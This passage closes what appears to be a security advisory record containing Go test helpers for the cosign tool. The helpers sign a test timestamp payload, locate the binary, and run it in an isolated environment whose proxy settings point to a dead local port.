ecdsa.SignASN1(rand.Reader, logKey, sum[:])\r\n\tif err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\treturn fmt.Sprintf(`{\"SignedEntryTimestamp\":%q,\"Payload\":%s}`, base64.StdEncoding.EncodeToString(set), payload)\r\n}\r\n\r\nfunc cosignBin(t *testing.T) string {\r\n\tbin := os.Getenv(\"COSIGN_BIN\")\r\n\tif bin == \"\" {\r\n\t\tbin = \"cosign\"\r\n\t}\r\n\tabs, err := filepath.Abs(bin)\r\n\tif err != nil {\r\n\t\tt.Fatal(err)\r\n\t}\r\n\tif _, err := os.Stat(abs); err != nil {\r\n\t\tt.Fatalf(\"cosign binary not found (%v); build it or set COSIGN_BIN\", err)\r\n\t}\r\n\treturn abs\r\n}\r\n\r\n// runCosign runs cosign with a minimal environment. HTTPS_PROXY points at a\r\n// dead port so that nothing can leave the machine; Go never proxies loopback.\r\nfunc runCosign(t *testing.T, extraEnv []string, args ...string) string {\r\n\tout, _ := runCosignErr(t, extraEnv, args...) // most runs are expected to fail; callers look at what left the process\r\n\treturn out\r\n}\r\n\r\n// runCosignErr is runCosign plus the exit status (nil means exit code 0).\r\nfunc runCosignErr(t *testing.T, extraEnv []string, args ...string) (string, error) {\r\n\tcmd := exec.Command(cosignBin(t), args...)\r\n\thome := t.TempDir()\r\n\tcmd.Dir = home\r\n\tcmd.Env = append([]string{\r\n\t\t\"HOME=\" + home,\r\n\t\t\"PATH=/usr/bin:/bin\",\r\n\t\t\"TUF_ROOT=\" + filepath.Join(home, \"tuf\"),\r\n\t\t\"DOCKER_CONFIG=\" + filepath.Join(home, \"docker\"),\r\n\t\t\"HTTPS_PROXY=http://127.0.0.1:1\",\r\n\t\t\"HTTP_PROXY=http://127.0.0.1:1\",\r\n\t}, extraEnv...)\r\n\tout, err := cmd.CombinedOutput()\r\n\tt.Logf(\"cosign %s\\n%s\", strings.Join(args, \" \"), out)\r\n\treturn string(out), err\r\n}\r\n```\r\n\r\n\u003c/details\u003e\r\n","status":"published","published":"2026-12-04T14:13:52Z","modified":"2026-12-04T14:30:10.535082774Z","updated_at":"2026-12-04T14:45:23.964298Z"}]}}
